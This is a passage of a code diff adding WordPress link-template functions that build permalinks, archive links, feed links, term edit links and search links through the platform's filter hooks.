+	echo esc_url( apply_filters( 'the_permalink', get_permalink( $post ), $post ) );
+}
+
+/**
+ * Retrieves a trailing-slashed string if the site is set for adding trailing slashes.
+ *
+ * Conditionally adds a trailing slash if the permalink structure has a trailing
+ * slash, strips the trailing slash if not. The string is passed through the
+ * {@see 'user_trailingslashit'} filter. Will remove trailing slash from string, if
+ * site is not set to have them.
+ *
+ * @since 2.2.0
+ *
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @param string $string      URL with or without a trailing slash.
+ * @param string $type_of_url Optional. The type of URL being considered (e.g. single, category, etc)
+ *                            for use in the filter. Default empty string.
+ * @return string The URL with the trailing slash appended or stripped.
+ */
+function user_trailingslashit($string, $type_of_url = '') {
+	global $wp_rewrite;
+	if ( $wp_rewrite->use_trailing_slashes )
+		$string = trailingslashit($string);
+	else
+		$string = untrailingslashit($string);
+
+	/**
+	 * Filters the trailing-slashed string, depending on whether the site is set to use trailing slashes.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param string $string      URL with or without a trailing slash.
+	 * @param string $type_of_url The type of URL being considered. Accepts 'single', 'single_trackback',
+	 *                            'single_feed', 'single_paged', 'commentpaged', 'paged', 'home', 'feed',
+	 *                            'category', 'page', 'year', 'month', 'day', 'post_type_archive'.
+	 */
+	return apply_filters( 'user_trailingslashit', $string, $type_of_url );
+}
+
+/**
+ * Displays the permalink anchor for the current post.
+ *
+ * The permalink mode title will use the post title for the 'a' element 'id'
+ * attribute. The id mode uses 'post-' with the post ID for the 'id' attribute.
+ *
+ * @since 0.71
+ *
+ * @param string $mode Optional. Permalink mode. Accepts 'title' or 'id'. Default 'id'.
+ */
+function permalink_anchor( $mode = 'id' ) {
+	$post = get_post();
+	switch ( strtolower( $mode ) ) {
+		case 'title':
+			$title = sanitize_title( $post->post_title ) . '-' . $post->ID;
+			echo '<a id="'.$title.'"></a>';
+			break;
+		case 'id':
+		default:
+			echo '<a id="post-' . $post->ID . '"></a>';
+			break;
+	}
+}
+
+/**
+ * Retrieves the full permalink for the current post or post ID.
+ *
+ * This function is an alias for get_permalink().
+ *
+ * @since 3.9.0
+ *
+ * @see get_permalink()
+ *
+ * @param int|WP_Post $post      Optional. Post ID or post object. Default is the global `$post`.
+ * @param bool        $leavename Optional. Whether to keep post name or page name. Default false.
+ *
+ * @return string|false The permalink URL or false if post does not exist.
+ */
+function get_the_permalink( $post = 0, $leavename = false ) {
+	return get_permalink( $post, $leavename );
+}
+
+/**
+ * Retrieves the full permalink for the current post or post ID.
+ *
+ * @since 1.0.0
+ *
+ * @param int|WP_Post $post      Optional. Post ID or post object. Default is the global `$post`.
+ * @param bool        $leavename Optional. Whether to keep post name or page name. Default false.
+ * @return string|false The permalink URL or false if post does not exist.
+ */
+function get_permalink( $post = 0, $leavename = false ) {
+	$rewritecode = array(
+		'%year%',
+		'%monthnum%',
+		'%day%',
+		'%hour%',
+		'%minute%',
+		'%second%',
+		$leavename? '' : '%postname%',
+		'%post_id%',
+		'%category%',
+		'%author%',
+		$leavename? '' : '%pagename%',
+	);
+
+	if ( is_object( $post ) && isset( $post->filter ) && 'sample' == $post->filter ) {
+		$sample = true;
+	} else {
+		$post = get_post( $post );
+		$sample = false;
+	}
+
+	if ( empty($post->ID) )
+		return false;
+
+	if ( $post->post_type == 'page' )
+		return get_page_link($post, $leavename, $sample);
+	elseif ( $post->post_type == 'attachment' )
+		return get_attachment_link( $post, $leavename );
+	elseif ( in_array($post->post_type, get_post_types( array('_builtin' => false) ) ) )
+		return get_post_permalink($post, $leavename, $sample);
+
+	$permalink = get_option('permalink_structure');
+
+	/**
+	 * Filters the permalink structure for a post before token replacement occurs.
+	 *
+	 * Only applies to posts with post_type of 'post'.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string  $permalink The site's permalink structure.
+	 * @param WP_Post $post      The post in question.
+	 * @param bool    $leavename Whether to keep the post name.
+	 */
+	$permalink = apply_filters( 'pre_post_link', $permalink, $post, $leavename );
+
+	if ( '' != $permalink && !in_array( $post->post_status, array( 'draft', 'pending', 'auto-draft', 'future' ) ) ) {
+		$unixtime = strtotime($post->post_date);
+
+		$category = '';
+		if ( strpos($permalink, '%category%') !== false ) {
+			$cats = get_the_category($post->ID);
+			if ( $cats ) {
+				$cats = wp_list_sort( $cats, array(
+					'term_id' => 'ASC',
+				) );
+
+				/**
+				 * Filters the category that gets used in the %category% permalink token.
+				 *
+				 * @since 3.5.0
+				 *
+				 * @param WP_Term  $cat  The category to use in the permalink.
+				 * @param array    $cats Array of all categories (WP_Term objects) associated with the post.
+				 * @param WP_Post  $post The post in question.
+				 */
+				$category_object = apply_filters( 'post_link_category', $cats[0], $cats, $post );
+
+				$category_object = get_term( $category_object, 'category' );
+				$category = $category_object->slug;
+				if ( $parent = $category_object->parent )
+					$category = get_category_parents($parent, false, '/', true) . $category;
+			}
+			// show default category in permalinks, without
+			// having to assign it explicitly
+			if ( empty($category) ) {
+				$default_category = get_term( get_option( 'default_category' ), 'category' );
+				if ( $default_category && ! is_wp_error( $default_category ) ) {
+					$category = $default_category->slug;
+				}
+			}
+		}
+
+		$author = '';
+		if ( strpos($permalink, '%author%') !== false ) {
+			$authordata = get_userdata($post->post_author);
+			$author = $authordata->user_nicename;
+		}
+
+		$date = explode(" ",date('Y m d H i s', $unixtime));
+		$rewritereplace =
+		array(
+			$date[0],
+			$date[1],
+			$date[2],
+			$date[3],
+			$date[4],
+			$date[5],
+			$post->post_name,
+			$post->ID,
+			$category,
+			$author,
+			$post->post_name,
+		);
+		$permalink = home_url( str_replace($rewritecode, $rewritereplace, $permalink) );
+		$permalink = user_trailingslashit($permalink, 'single');
+	} else { // if they're not using the fancy permalink option
+		$permalink = home_url('?p=' . $post->ID);
+	}
+
+	/**
+	 * Filters the permalink for a post.
+	 *
+	 * Only applies to posts with post_type of 'post'.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string  $permalink The post's permalink.
+	 * @param WP_Post $post      The post in question.
+	 * @param bool    $leavename Whether to keep the post name.
+	 */
+	return apply_filters( 'post_link', $permalink, $post, $leavename );
+}
+
+/**
+ * Retrieves the permalink for a post of a custom post type.
+ *
+ * @since 3.0.0
+ *
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @param int|WP_Post $id        Optional. Post ID or post object. Default is the global `$post`.
+ * @param bool        $leavename Optional, defaults to false. Whether to keep post name. Default false.
+ * @param bool        $sample    Optional, defaults to false. Is it a sample permalink. Default false.
+ * @return string|WP_Error The post permalink.
+ */
+function get_post_permalink( $id = 0, $leavename = false, $sample = false ) {
+	global $wp_rewrite;
+
+	$post = get_post($id);
+
+	if ( is_wp_error( $post ) )
+		return $post;
+
+	$post_link = $wp_rewrite->get_extra_permastruct($post->post_type);
+
+	$slug = $post->post_name;
+
+	$draft_or_pending = get_post_status( $post ) && in_array( get_post_status( $post ), array( 'draft', 'pending', 'auto-draft', 'future' ) );
+
+	$post_type = get_post_type_object($post->post_type);
+
+	if ( $post_type->hierarchical ) {
+		$slug = get_page_uri( $post );
+	}
+
+	if ( !empty($post_link) && ( !$draft_or_pending || $sample ) ) {
+		if ( ! $leavename ) {
+			$post_link = str_replace("%$post->post_type%", $slug, $post_link);
+		}
+		$post_link = home_url( user_trailingslashit($post_link) );
+	} else {
+		if ( $post_type->query_var && ( isset($post->post_status) && !$draft_or_pending ) )
+			$post_link = add_query_arg($post_type->query_var, $slug, '');
+		else
+			$post_link = add_query_arg(array('post_type' => $post->post_type, 'p' => $post->ID), '');
+		$post_link = home_url($post_link);
+	}
+
+	/**
+	 * Filters the permalink for a post of a custom post type.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string  $post_link The post's permalink.
+	 * @param WP_Post $post      The post in question.
+	 * @param bool    $leavename Whether to keep the post name.
+	 * @param bool    $sample    Is it a sample permalink.
+	 */
+	return apply_filters( 'post_type_link', $post_link, $post, $leavename, $sample );
+}
+
+/**
+ * Retrieves the permalink for the current page or page ID.
+ *
+ * Respects page_on_front. Use this one.
+ *
+ * @since 1.5.0
+ *
+ * @param int|WP_Post $post      Optional. Post ID or object. Default uses the global `$post`.
+ * @param bool        $leavename Optional. Whether to keep the page name. Default false.
+ * @param bool        $sample    Optional. Whether it should be treated as a sample permalink.
+ *                               Default false.
+ * @return string The page permalink.
+ */
+function get_page_link( $post = false, $leavename = false, $sample = false ) {
+	$post = get_post( $post );
+
+	if ( 'page' == get_option( 'show_on_front' ) && $post->ID == get_option( 'page_on_front' ) )
+		$link = home_url('/');
+	else
+		$link = _get_page_link( $post, $leavename, $sample );
+
+	/**
+	 * Filters the permalink for a page.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $link    The page's permalink.
+	 * @param int    $post_id The ID of the page.
+	 * @param bool   $sample  Is it a sample permalink.
+	 */
+	return apply_filters( 'page_link', $link, $post->ID, $sample );
+}
+
+/**
+ * Retrieves the page permalink.
+ *
+ * Ignores page_on_front. Internal use only.
+ *
+ * @since 2.1.0
+ * @access private
+ *
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @param int|WP_Post $post      Optional. Post ID or object. Default uses the global `$post`.
+ * @param bool        $leavename Optional. Whether to keep the page name. Default false.
+ * @param bool        $sample    Optional. Whether it should be treated as a sample permalink.
+ *                               Default false.
+ * @return string The page permalink.
+ */
+function _get_page_link( $post = false, $leavename = false, $sample = false ) {
+	global $wp_rewrite;
+
+	$post = get_post( $post );
+
+	$draft_or_pending = in_array( $post->post_status, array( 'draft', 'pending', 'auto-draft' ) );
+
+	$link = $wp_rewrite->get_page_permastruct();
+
+	if ( !empty($link) && ( ( isset($post->post_status) && !$draft_or_pending ) || $sample ) ) {
+		if ( ! $leavename ) {
+			$link = str_replace('%pagename%', get_page_uri( $post ), $link);
+		}
+
+		$link = home_url($link);
+		$link = user_trailingslashit($link, 'page');
+	} else {
+		$link = home_url( '?page_id=' . $post->ID );
+	}
+
+	/**
+	 * Filters the permalink for a non-page_on_front page.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $link    The page's permalink.
+	 * @param int    $post_id The ID of the page.
+	 */
+	return apply_filters( '_get_page_link', $link, $post->ID );
+}
+
+/**
+ * Retrieves the permalink for an attachment.
+ *
+ * This can be used in the WordPress Loop or outside of it.
+ *
+ * @since 2.0.0
+ *
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @param int|object $post      Optional. Post ID or object. Default uses the global `$post`.
+ * @param bool       $leavename Optional. Whether to keep the page name. Default false.
+ * @return string The attachment permalink.
+ */
+function get_attachment_link( $post = null, $leavename = false ) {
+	global $wp_rewrite;
+
+	$link = false;
+
+	$post = get_post( $post );
+	$parent = ( $post->post_parent > 0 && $post->post_parent != $post->ID ) ? get_post( $post->post_parent ) : false;
+	if ( $parent && ! in_array( $parent->post_type, get_post_types() ) ) {
+		$parent = false;
+	}
+
+	if ( $wp_rewrite->using_permalinks() && $parent ) {
+		if ( 'page' == $parent->post_type )
+			$parentlink = _get_page_link( $post->post_parent ); // Ignores page_on_front
+		else
+			$parentlink = get_permalink( $post->post_parent );
+
+		if ( is_numeric($post->post_name) || false !== strpos(get_option('permalink_structure'), '%category%') )
+			$name = 'attachment/' . $post->post_name; // <permalink>/<int>/ is paged so we use the explicit attachment marker
+		else
+			$name = $post->post_name;
+
+		if ( strpos($parentlink, '?') === false )
+			$link = user_trailingslashit( trailingslashit($parentlink) . '%postname%' );
+
+		if ( ! $leavename )
+			$link = str_replace( '%postname%', $name, $link );
+	} elseif ( $wp_rewrite->using_permalinks() && ! $leavename ) {
+		$link = home_url( user_trailingslashit( $post->post_name ) );
+	}
+
+	if ( ! $link )
+		$link = home_url( '/?attachment_id=' . $post->ID );
+
+	/**
+	 * Filters the permalink for an attachment.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string $link    The attachment's permalink.
+	 * @param int    $post_id Attachment ID.
+	 */
+	return apply_filters( 'attachment_link', $link, $post->ID );
+}
+
+/**
+ * Retrieves the permalink for the year archives.
+ *
+ * @since 1.5.0
+ *
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @param int|bool $year False for current year or year for permalink.
+ * @return string The permalink for the specified year archive.
+ */
+function get_year_link( $year ) {
+	global $wp_rewrite;
+	if ( !$year )
+		$year = gmdate('Y', current_time('timestamp'));
+	$yearlink = $wp_rewrite->get_year_permastruct();
+	if ( !empty($yearlink) ) {
+		$yearlink = str_replace('%year%', $year, $yearlink);
+		$yearlink = home_url( user_trailingslashit( $yearlink, 'year' ) );
+	} else {
+		$yearlink = home_url( '?m=' . $year );
+	}
+
+	/**
+	 * Filters the year archive permalink.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $yearlink Permalink for the year archive.
+	 * @param int    $year     Year for the archive.
+	 */
+	return apply_filters( 'year_link', $yearlink, $year );
+}
+
+/**
+ * Retrieves the permalink for the month archives with year.
+ *
+ * @since 1.0.0
+ *
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @param bool|int $year  False for current year. Integer of year.
+ * @param bool|int $month False for current month. Integer of month.
+ * @return string The permalink for the specified month and year archive.
+ */
+function get_month_link($year, $month) {
+	global $wp_rewrite;
+	if ( !$year )
+		$year = gmdate('Y', current_time('timestamp'));
+	if ( !$month )
+		$month = gmdate('m', current_time('timestamp'));
+	$monthlink = $wp_rewrite->get_month_permastruct();
+	if ( !empty($monthlink) ) {
+		$monthlink = str_replace('%year%', $year, $monthlink);
+		$monthlink = str_replace('%monthnum%', zeroise(intval($month), 2), $monthlink);
+		$monthlink = home_url( user_trailingslashit( $monthlink, 'month' ) );
+	} else {
+		$monthlink = home_url( '?m=' . $year . zeroise( $month, 2 ) );
+	}
+
+	/**
+	 * Filters the month archive permalink.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $monthlink Permalink for the month archive.
+	 * @param int    $year      Year for the archive.
+	 * @param int    $month     The month for the archive.
+	 */
+	return apply_filters( 'month_link', $monthlink, $year, $month );
+}
+
+/**
+ * Retrieves the permalink for the day archives with year and month.
+ *
+ * @since 1.0.0
+ *
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @param bool|int $year  False for current year. Integer of year.
+ * @param bool|int $month False for current month. Integer of month.
+ * @param bool|int $day   False for current day. Integer of day.
+ * @return string The permalink for the specified day, month, and year archive.
+ */
+function get_day_link($year, $month, $day) {
+	global $wp_rewrite;
+	if ( !$year )
+		$year = gmdate('Y', current_time('timestamp'));
+	if ( !$month )
+		$month = gmdate('m', current_time('timestamp'));
+	if ( !$day )
+		$day = gmdate('j', current_time('timestamp'));
+
+	$daylink = $wp_rewrite->get_day_permastruct();
+	if ( !empty($daylink) ) {
+		$daylink = str_replace('%year%', $year, $daylink);
+		$daylink = str_replace('%monthnum%', zeroise(intval($month), 2), $daylink);
+		$daylink = str_replace('%day%', zeroise(intval($day), 2), $daylink);
+		$daylink = home_url( user_trailingslashit( $daylink, 'day' ) );
+	} else {
+		$daylink = home_url( '?m=' . $year . zeroise( $month, 2 ) . zeroise( $day, 2 ) );
+	}
+
+	/**
+	 * Filters the day archive permalink.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $daylink Permalink for the day archive.
+	 * @param int    $year    Year for the archive.
+	 * @param int    $month   Month for the archive.
+	 * @param int    $day     The day for the archive.
+	 */
+	return apply_filters( 'day_link', $daylink, $year, $month, $day );
+}
+
+/**
+ * Displays the permalink for the feed type.
+ *
+ * @since 3.0.0
+ *
+ * @param string $anchor The link's anchor text.
+ * @param string $feed   Optional. Feed type. Default empty.
+ */
+function the_feed_link( $anchor, $feed = '' ) {
+	$link = '<a href="' . esc_url( get_feed_link( $feed ) ) . '">' . $anchor . '</a>';
+
+	/**
+	 * Filters the feed link anchor tag.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $link The complete anchor tag for a feed link.
+	 * @param string $feed The feed type, or an empty string for the
+	 *                     default feed type.
+	 */
+	echo apply_filters( 'the_feed_link', $link, $feed );
+}
+
+/**
+ * Retrieves the permalink for the feed type.
+ *
+ * @since 1.5.0
+ *
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @param string $feed Optional. Feed type. Default empty.
+ * @return string The feed permalink.
+ */
+function get_feed_link( $feed = '' ) {
+	global $wp_rewrite;
+
+	$permalink = $wp_rewrite->get_feed_permastruct();
+	if ( '' != $permalink ) {
+		if ( false !== strpos($feed, 'comments_') ) {
+			$feed = str_replace('comments_', '', $feed);
+			$permalink = $wp_rewrite->get_comment_feed_permastruct();
+		}
+
+		if ( get_default_feed() == $feed )
+			$feed = '';
+
+		$permalink = str_replace('%feed%', $feed, $permalink);
+		$permalink = preg_replace('#/+#', '/', "/$permalink");
+		$output =  home_url( user_trailingslashit($permalink, 'feed') );
+	} else {
+		if ( empty($feed) )
+			$feed = get_default_feed();
+
+		if ( false !== strpos($feed, 'comments_') )
+			$feed = str_replace('comments_', 'comments-', $feed);
+
+		$output = home_url("?feed={$feed}");
+	}
+
+	/**
+	 * Filters the feed type permalink.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $output The feed permalink.
+	 * @param string $feed   Feed type.
+	 */
+	return apply_filters( 'feed_link', $output, $feed );
+}
+
+/**
+ * Retrieves the permalink for the post comments feed.
+ *
+ * @since 2.2.0
+ *
+ * @param int    $post_id Optional. Post ID. Default is the ID of the global `$post`.
+ * @param string $feed    Optional. Feed type. Default empty.
+ * @return string The permalink for the comments feed for the given post.
+ */
+function get_post_comments_feed_link( $post_id = 0, $feed = '' ) {
+	$post_id = absint( $post_id );
+
+	if ( ! $post_id )
+		$post_id = get_the_ID();
+
+	if ( empty( $feed ) )
+		$feed = get_default_feed();
+
+	$post = get_post( $post_id );
+	$unattached = 'attachment' === $post->post_type && 0 === (int) $post->post_parent;
+
+	if ( '' != get_option('permalink_structure') ) {
+		if ( 'page' == get_option('show_on_front') && $post_id == get_option('page_on_front') )
+			$url = _get_page_link( $post_id );
+		else
+			$url = get_permalink($post_id);
+
+		if ( $unattached ) {
+			$url =  home_url( '/feed/' );
+			if ( $feed !== get_default_feed() ) {
+				$url .= "$feed/";
+			}
+			$url = add_query_arg( 'attachment_id', $post_id, $url );
+		} else {
+			$url = trailingslashit($url) . 'feed';
+			if ( $feed != get_default_feed() )
+				$url .= "/$feed";
+			$url = user_trailingslashit($url, 'single_feed');
+		}
+	} else {
+		if ( $unattached ) {
+			$url = add_query_arg( array( 'feed' => $feed, 'attachment_id' => $post_id ), home_url( '/' ) );
+		} elseif ( 'page' == $post->post_type ) {
+			$url = add_query_arg( array( 'feed' => $feed, 'page_id' => $post_id ), home_url( '/' ) );
+		} else {
+			$url = add_query_arg( array( 'feed' => $feed, 'p' => $post_id ), home_url( '/' ) );
+		}
+	}
+
+	/**
+	 * Filters the post comments feed permalink.
+	 *
+	 * @since 1.5.1
+	 *
+	 * @param string $url Post comments feed permalink.
+	 */
+	return apply_filters( 'post_comments_feed_link', $url );
+}
+
+/**
+ * Displays the comment feed link for a post.
+ *
+ * Prints out the comment feed link for a post. Link text is placed in the
+ * anchor. If no link text is specified, default text is used. If no post ID is
+ * specified, the current post is used.
+ *
+ * @since 2.5.0
+ *
+ * @param string $link_text Optional. Descriptive link text. Default 'Comments Feed'.
+ * @param int    $post_id   Optional. Post ID. Default is the ID of the global `$post`.
+ * @param string $feed      Optional. Feed format. Default empty.
+ */
+function post_comments_feed_link( $link_text = '', $post_id = '', $feed = '' ) {
+	$url = get_post_comments_feed_link( $post_id, $feed );
+	if ( empty( $link_text ) ) {
+		$link_text = __('Comments Feed');
+	}
+
+	$link = '<a href="' . esc_url( $url ) . '">' . $link_text . '</a>';
+	/**
+	 * Filters the post comment feed link anchor tag.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $link    The complete anchor tag for the comment feed link.
+	 * @param int    $post_id Post ID.
+	 * @param string $feed    The feed type, or an empty string for the default feed type.
+	 */
+	echo apply_filters( 'post_comments_feed_link_html', $link, $post_id, $feed );
+}
+
+/**
+ * Retrieves the feed link for a given author.
+ *
+ * Returns a link to the feed for all posts by a given author. A specific feed
+ * can be requested or left blank to get the default feed.
+ *
+ * @since 2.5.0
+ *
+ * @param int    $author_id Author ID.
+ * @param string $feed      Optional. Feed type. Default empty.
+ * @return string Link to the feed for the author specified by $author_id.
+ */
+function get_author_feed_link( $author_id, $feed = '' ) {
+	$author_id = (int) $author_id;
+	$permalink_structure = get_option('permalink_structure');
+
+	if ( empty($feed) )
+		$feed = get_default_feed();
+
+	if ( '' == $permalink_structure ) {
+		$link = home_url("?feed=$feed&amp;author=" . $author_id);
+	} else {
+		$link = get_author_posts_url($author_id);
+		if ( $feed == get_default_feed() )
+			$feed_link = 'feed';
+		else
+			$feed_link = "feed/$feed";
+
+		$link = trailingslashit($link) . user_trailingslashit($feed_link, 'feed');
+	}
+
+	/**
+	 * Filters the feed link for a given author.
+	 *
+	 * @since 1.5.1
+	 *
+	 * @param string $link The author feed link.
+	 * @param string $feed Feed type.
+	 */
+	$link = apply_filters( 'author_feed_link', $link, $feed );
+
+	return $link;
+}
+
+/**
+ * Retrieves the feed link for a category.
+ *
+ * Returns a link to the feed for all posts in a given category. A specific feed
+ * can be requested or left blank to get the default feed.
+ *
+ * @since 2.5.0
+ *
+ * @param int    $cat_id Category ID.
+ * @param string $feed   Optional. Feed type. Default empty.
+ * @return string Link to the feed for the category specified by $cat_id.
+ */
+function get_category_feed_link( $cat_id, $feed = '' ) {
+	return get_term_feed_link( $cat_id, 'category', $feed );
+}
+
+/**
+ * Retrieves the feed link for a term.
+ *
+ * Returns a link to the feed for all posts in a given term. A specific feed
+ * can be requested or left blank to get the default feed.
+ *
+ * @since 3.0.0
+ *
+ * @param int    $term_id  Term ID.
+ * @param string $taxonomy Optional. Taxonomy of `$term_id`. Default 'category'.
+ * @param string $feed     Optional. Feed type. Default empty.
+ * @return string|false Link to the feed for the term specified by $term_id and $taxonomy.
+ */
+function get_term_feed_link( $term_id, $taxonomy = 'category', $feed = '' ) {
+	$term_id = ( int ) $term_id;
+
+	$term = get_term( $term_id, $taxonomy  );
+
+	if ( empty( $term ) || is_wp_error( $term ) )
+		return false;
+
+	if ( empty( $feed ) )
+		$feed = get_default_feed();
+
+	$permalink_structure = get_option( 'permalink_structure' );
+
+	if ( '' == $permalink_structure ) {
+		if ( 'category' == $taxonomy ) {
+			$link = home_url("?feed=$feed&amp;cat=$term_id");
+		}
+		elseif ( 'post_tag' == $taxonomy ) {
+			$link = home_url("?feed=$feed&amp;tag=$term->slug");
+		} else {
+			$t = get_taxonomy( $taxonomy );
+			$link = home_url("?feed=$feed&amp;$t->query_var=$term->slug");
+		}
+	} else {
+		$link = get_term_link( $term_id, $term->taxonomy );
+		if ( $feed == get_default_feed() )
+			$feed_link = 'feed';
+		else
+			$feed_link = "feed/$feed";
+
+		$link = trailingslashit( $link ) . user_trailingslashit( $feed_link, 'feed' );
+	}
+
+	if ( 'category' == $taxonomy ) {
+		/**
+		 * Filters the category feed link.
+		 *
+		 * @since 1.5.1
+		 *
+		 * @param string $link The category feed link.
+		 * @param string $feed Feed type.
+		 */
+		$link = apply_filters( 'category_feed_link', $link, $feed );
+	} elseif ( 'post_tag' == $taxonomy ) {
+		/**
+		 * Filters the post tag feed link.
+		 *
+		 * @since 2.3.0
+		 *
+		 * @param string $link The tag feed link.
+		 * @param string $feed Feed type.
+		 */
+		$link = apply_filters( 'tag_feed_link', $link, $feed );
+	} else {
+		/**
+		 * Filters the feed link for a taxonomy other than 'category' or 'post_tag'.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string $link The taxonomy feed link.
+		 * @param string $feed Feed type.
+		 * @param string $taxonomy The taxonomy name.
+		 */
+		$link = apply_filters( 'taxonomy_feed_link', $link, $feed, $taxonomy );
+	}
+
+	return $link;
+}
+
+/**
+ * Retrieves the permalink for a tag feed.
+ *
+ * @since 2.3.0
+ *
+ * @param int    $tag_id Tag ID.
+ * @param string $feed   Optional. Feed type. Default empty.
+ * @return string The feed permalink for the given tag.
+ */
+function get_tag_feed_link( $tag_id, $feed = '' ) {
+	return get_term_feed_link( $tag_id, 'post_tag', $feed );
+}
+
+/**
+ * Retrieves the edit link for a tag.
+ *
+ * @since 2.7.0
+ *
+ * @param int    $tag_id   Tag ID.
+ * @param string $taxonomy Optional. Taxonomy slug. Default 'post_tag'.
+ * @return string The edit tag link URL for the given tag.
+ */
+function get_edit_tag_link( $tag_id, $taxonomy = 'post_tag' ) {
+	/**
+	 * Filters the edit link for a tag (or term in another taxonomy).
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $link The term edit link.
+	 */
+	return apply_filters( 'get_edit_tag_link', get_edit_term_link( $tag_id, $taxonomy ) );
+}
+
+/**
+ * Displays or retrieves the edit link for a tag with formatting.
+ *
+ * @since 2.7.0
+ *
+ * @param string  $link   Optional. Anchor text. Default empty.
+ * @param string  $before Optional. Display before edit link. Default empty.
+ * @param string  $after  Optional. Display after edit link. Default empty.
+ * @param WP_Term $tag    Optional. Term object. If null, the queried object will be inspected.
+ *                        Default null.
+ */
+function edit_tag_link( $link = '', $before = '', $after = '', $tag = null ) {
+	$link = edit_term_link( $link, '', '', $tag, false );
+
+	/**
+	 * Filters the anchor tag for the edit link for a tag (or term in another taxonomy).
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $link The anchor tag for the edit link.
+	 */
+	echo $before . apply_filters( 'edit_tag_link', $link ) . $after;
+}
+
+/**
+ * Retrieves the URL for editing a given term.
+ *
+ * @since 3.1.0
+ * @since 4.5.0 The `$taxonomy` argument was made optional.
+ *
+ * @param int    $term_id     Term ID.
+ * @param string $taxonomy    Optional. Taxonomy. Defaults to the taxonomy of the term identified
+ *                            by `$term_id`.
+ * @param string $object_type Optional. The object type. Used to highlight the proper post type
+ *                            menu on the linked page. Defaults to the first object_type associated
+ *                            with the taxonomy.
+ * @return string|null The edit term link URL for the given term, or null on failure.
+ */
+function get_edit_term_link( $term_id, $taxonomy = '', $object_type = '' ) {
+	$term = get_term( $term_id, $taxonomy );
+	if ( ! $term || is_wp_error( $term ) ) {
+		return;
+	}
+
+	$tax = get_taxonomy( $term->taxonomy );
+	if ( ! $tax || ! current_user_can( 'edit_term', $term->term_id ) ) {
+		return;
+	}
+
+	$args = array(
+		'taxonomy' => $taxonomy,
+		'tag_ID'   => $term->term_id,
+	);
+
+	if ( $object_type ) {
+		$args['post_type'] = $object_type;
+	} elseif ( ! empty( $tax->object_type ) ) {
+		$args['post_type'] = reset( $tax->object_type );
+	}
+
+	if ( $tax->show_ui ) {
+		$location = add_query_arg( $args, admin_url( 'term.php' ) );
+	} else {
+		$location = '';
+	}
+
+	/**
+	 * Filters the edit link for a term.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $location    The edit link.
+	 * @param int    $term_id     Term ID.
+	 * @param string $taxonomy    Taxonomy name.
+	 * @param string $object_type The object type (eg. the post type).
+	 */
+	return apply_filters( 'get_edit_term_link', $location, $term_id, $taxonomy, $object_type );
+}
+
+/**
+ * Displays or retrieves the edit term link with formatting.
+ *
+ * @since 3.1.0
+ *
+ * @param string $link   Optional. Anchor text. Default empty.
+ * @param string $before Optional. Display before edit link. Default empty.
+ * @param string $after  Optional. Display after edit link. Default empty.
+ * @param object $term   Optional. Term object. If null, the queried object will be inspected. Default null.
+ * @param bool   $echo   Optional. Whether or not to echo the return. Default true.
+ * @return string|void HTML content.
+ */
+function edit_term_link( $link = '', $before = '', $after = '', $term = null, $echo = true ) {
+	if ( is_null( $term ) )
+		$term = get_queried_object();
+
+	if ( ! $term )
+		return;
+
+	$tax = get_taxonomy( $term->taxonomy );
+	if ( ! current_user_can( 'edit_term', $term->term_id ) ) {
+		return;
+	}
+
+	if ( empty( $link ) )
+		$link = __('Edit This');
+
+	$link = '<a href="' . get_edit_term_link( $term->term_id, $term->taxonomy ) . '">' . $link . '</a>';
+
+	/**
+	 * Filters the anchor tag for the edit link of a term.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $link    The anchor tag for the edit link.
+	 * @param int    $term_id Term ID.
+	 */
+	$link = $before . apply_filters( 'edit_term_link', $link, $term->term_id ) . $after;
+
+	if ( $echo )
+		echo $link;
+	else
+		return $link;
+}
+
+/**
+ * Retrieves the permalink for a search.
+ *
+ * @since  3.0.0
+ *
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @param string $query Optional. The query string to use. If empty the current query is used. Default empty.
+ * @return string The search permalink.
+ */
+function get_search_link( $query = '' ) {
+	global $wp_rewrite;
+
+	if ( empty($query) )
+		$search = get_search_query( false );
+	else
+		$search = stripslashes($query);
+
+	$permastruct = $wp_rewrite->get_search_permastruct();
+
+	if ( empty( $permastruct ) ) {
+		$link = home_url('?s=' . urlencode($search) );
+	} else {
+		$search = urlencode($search);
+		$search = str_replace('%2F', '/', $search); // %2F(/) is not valid within a URL, send it un-encoded.
+		$link = str_replace( '%search%', $search, $permastruct );
+		$link = home_url( user_trailingslashit( $link, 'search' ) );
+	}
+
+	/**
+	 * Filters the search permalink.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $link   Search permalink.
+	 * @param string $search The URL-encoded search term.
+	 */
+	return apply_filters( 'search_link', $link, $search );
+}
+
+/**
+ * Retrieves the permalink for the search results feed.
+ *
+ * @since 2.5.0
+ *
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @param string $search_query Optional. Search query. Default empty.
+ * @param string $feed         Optional. Feed type. Default empty.
+ * @return string The search results feed permalink.
+ */
+function get_search_feed_link($search_query = '', $feed = '') {
+	global $wp_rewrite;
+	$link = get_search_link($search_query);
+
+	if ( empty($feed) )
+		$feed = get_default_feed();
+
+	$permastruct = $wp_rewrite->get_search_permastruct();
+
+	if ( empty($permastruct) ) {
